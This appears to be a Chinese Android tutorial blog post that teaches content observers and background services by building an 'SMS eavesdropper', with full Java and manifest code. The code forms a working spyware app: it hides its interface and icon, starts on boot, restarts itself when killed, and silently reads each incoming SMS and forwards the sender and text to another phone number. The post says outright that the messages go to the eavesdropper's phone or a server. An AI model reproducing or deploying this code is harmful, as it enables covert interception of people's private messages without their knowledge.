通过短信窃听器来讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动

第一步:我们讲解怎样做一个无界面和应用图标的的应用程序。我这里用的是隐式启动Activity,这样启动就不会带界面和图标,其实做开启启动非常容易,写一个广播事件进行监听,并注册在清单文件中,一会我们在介绍怎么做到开机启动服务。回归正题:如果没有activity就不能做到安装就运行,所以我们要有activity,但是又不能有界面和图标,那就得这么做,看代码吧!如下:



红线部分就是比较重点的代码,上边有解释,我就不多说了,只要加上上边红色部分的代码,就能做到启动Activity没有界面和图标。
第二步:服务开机自动启动。首先我们应该写一个开机自动启动的广播,代码如下:

package net.loonggg.testbackstage;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
  
public class BootReceiver extends BroadcastReceiver {  
  
@Override  
public void onReceive(Context context, Intent intent) {  
Intent mBootIntent = new Intent(context, TestService.class);  
context.startService(mBootIntent);  
}  
  
}  

然后是非常重要的服务Service的代码:

package net.loonggg.testbackstage;  
  
import android.app.Service;  
import android.content.ContentResolver;  
import android.content.Intent;  
import android.database.ContentObserver;  
import android.database.Cursor;  
import android.net.Uri;  
import android.os.Handler;  
import android.os.IBinder;  
import android.telephony.SmsManager;  
  
public class TestService extends Service {  
  
@Override  
public IBinder onBind(Intent intent) {  
return null;  
}  
  
@Override  
public void onCreate() {  
super.onCreate();  
ContentResolver resolver = getContentResolver();  
Uri uri = Uri.parse("content://sms/");  
resolver.registerContentObserver(uri, true, new MyObserver(  
new Handler()));  
}  
  
@Override  
public int onStartCommand(Intent intent, int flags, int startId) {  
flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建  
return super.onStartCommand(intent, flags, startId);  
// return START_REDELIVER_INTENT;  
}  
  
private class MyObserver extends ContentObserver {  
  
public MyObserver(Handler handler) {  
super(handler);  
}  
  
@Override  
public void onChange(boolean selfChange) {  
super.onChange(selfChange);  
ContentResolver resolver = getContentResolver();  
Uri uri = Uri.parse("content://sms/");  
Cursor cursor = resolver.query(uri, new String[] { "address",  
"body" }, null, null, null);  
cursor.moveToFirst();  
String address = cursor.getString(cursor.getColumnIndex("address"));  
String body = cursor.getString(cursor.getColumnIndex("body"));  
String smsContent = "number:" + address + "--content:" + body;  
SmsManager smsManager = SmsManager.getDefault();  
// 下边的注释是超过70个字符,分条发送,这里不需要  
// if (smsContent.length() > 70) {  
// List<String> contents = smsManager.divideMessage(smsContent);  
// for (String sms : contents) {  
// smsManager.sendTextMessage("5556", null, sms, null, null);  
// }  
// } else {  
smsManager.sendTextMessage("5556", null, smsContent, null, null);  
// }  
cursor.close();  
}  
  
}  
  
public void onDestroy() {  
Intent localIntent = new Intent();  
localIntent.setClass(this, TestService.class); // 销毁时重新启动Service  
this.startService(localIntent);  
}  
  
}  

服务里面的具体代码我们一会在解释,这里主要讲解怎样做到开机自动启动。做到开机自动启动,与服务里面的代码没有关系,主要是那个BootReceiver广播配合清单文件AndroidManifest.xml,在清单文件里注册这个广播事件,开机触发广播,就会运行BootReceiver里面的onReceive()方法,启动服务了!



红色部分代码就是广播里面有关开机启动的代码,黑色的那两行与杀死进程再重新启动有关!
第三步:被管理进程的软件杀死服务后,再重新启动的方法。首先将服务的优先级设为最大,这样不容易在内存不够时,被先杀死,然后就是将广播的优先级加最高,最重要的就是上边图片中那两行的画黑线的代码,它们会在锁屏和情景变化时,启动广播,从而重新启动服务。代码如下:



在TestService中,更重要的代码是:
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建
        return super.onStartCommand(intent, flags, startId);
        // return START_REDELIVER_INTENT;
    }

    public void onDestroy() {
        Intent localIntent = new Intent();
        localIntent.setClass(this, TestService.class); // 销毁时重新启动Service
        this.startService(localIntent);
    }

为什么重要,代码中都有解释,一个是在销毁时重新启动服务,另一个是返回START_STICKY代表service被kill掉后会自动重写创建。
第四步:通过内容观察者和内容提供者监听短信,内容观察者是观察系统短信的变化,只要系统短信变化,内容观察者就能监听到,通过内容提供者获取短信内容,再把内容发送到监听者的手机或者上传到服务器,我在这里用的是将监听到的短信内容发送到监听者的手机中!代码就在TestService中,代码如下:

@Override  
public void onCreate() {  
super.onCreate();  
ContentResolver resolver = getContentResolver();  
Uri uri = Uri.parse("content://sms/");  
/** 
 * 第一个参数不用解释,第二个参数notifyForDescendents这个需要解释,true代表主机的主要Uri一样就会触发,发送消息, 
 * false代表必须非常精确的Uri一样才能触发,发送消息,第三个参数也不用解释,就是内容观察者 
 */  
resolver.registerContentObserver(uri, true, new MyObserver(  
new Handler()));  
}  
  
private class MyObserver extends ContentObserver {  
  
public MyObserver(Handler handler) {  
super(handler);  
}  
  
/** 
 * 当内容观察者,观察到数据库的内容发生变化的时候,调用这个方法 。 观察到消息邮箱里面有一条数据库内容变化的通知 
 */  
@Override  
public void onChange(boolean selfChange) {  
super.onChange(selfChange);  
ContentResolver resolver = getContentResolver();  
Uri uri = Uri.parse("content://sms/");  
Cursor cursor = resolver.query(uri, new String[] { "address",  
"body" }, null, null, null);  
cursor.moveToFirst();  
String address = cursor.getString(cursor.getColumnIndex("address"));  
String body = cursor.getString(cursor.getColumnIndex("body"));  
String smsContent = "number:" + address + "--content:" + body;  
SmsManager smsManager = SmsManager.getDefault();  
// 下边的注释是超过70个字符,分条发送,这里不需要  
// if (smsContent.length() > 70) {  
// List<String> contents = smsManager.divideMessage(smsContent);  
// for (String sms : contents) {  
// smsManager.sendTextMessage("5556", null, sms, null, null);  
// }  
// } else {  
smsManager.sendTextMessage("5556", null, smsContent, null, null);  
// }  
cursor.close();  
}  
  
}  

到这里就都解释完了,我把完整的清单文件代码贴出来,代码如下:

<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
package="net.loonggg.testbackstage"  
android:versionCode="1"  
android:versionName="1.0" >  
  
<uses-sdk  
android:minSdkVersion="8"  
android:targetSdkVersion="17" />  
  
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  
<uses-permission android:name="android.permission.READ_SMS" />  
<uses-permission android:name="android.permission.SEND_SMS" />  
<uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  
<application  
android:allowBackup="true"  
android:label="@string/app_name"  
android:persistent="true"  
android:theme="@style/AppTheme" > <!-- 切记, android:persistent="true"这个不可滥用,系统中用这个的service,app一多,整个系统就完蛋了。 -->  
<service  
android:name=".TestService"  
android:priority="1000" > <!-- 优先级设置成最大 -->  
</service>  
  
<receiver  
android:name=".BootReceiver"  
android:priority="2147483647" > <!-- 优先级加最高 -->  
<intent-filter>  
  
<!-- 系统启动完成后会调用 -->  
<action android:name="android.intent.action.BOOT_COMPLETED" />  
<!-- 解锁完成后会调用 -->  
<action android:name="android.intent.action.USER_PRESENT" />  
<!-- 监听情景切换 -->  
<action android:name="android.media.RINGER_MODE_CHANGED" />  
</intent-filter>  
</receiver>  
  
<activity  
android:name=".MainActivity"  
android:label="@string/app_name"  
android:theme="@android:style/Theme.NoDisplay" > <!-- 无界面 -->  
<intent-filter>  
<action android:name="android.intent.action.MAIN" />  
  
<category android:name="android.intent.category.LAUNCHER" />  
<!-- 隐式启动Activity,不会显示图标 -->  
<data  
android:host="”MainActivity”"  
android:scheme="”net.loonggg.testbackstage”" />  
</intent-filter>  
</activity>  
</application>  
  
</manifest>  

会了吗?看懂了吧?

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,045评论 25 707
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 6,327评论 0 17
  • 广播接收者 BroadcastReceiver 接收系统发出的广播 现实中的广播:电台为了传达一些消息,而发送的广...
    fantasy_dandan阅读 1,240评论 0 2
  • Android Studio JNI流程首先在java代码声明本地方法 用到native关键字 本地方法不用去实现...
    MigrationUK阅读 11,816评论 7 123
  • 今天的常德,曾经的名字在中国几乎家喻户晓:武陵。桃花源就是被迷路的武陵渔人发现后,又经过陶渊明的描写,才成了中国人...
    穆平阅读 561评论 1 2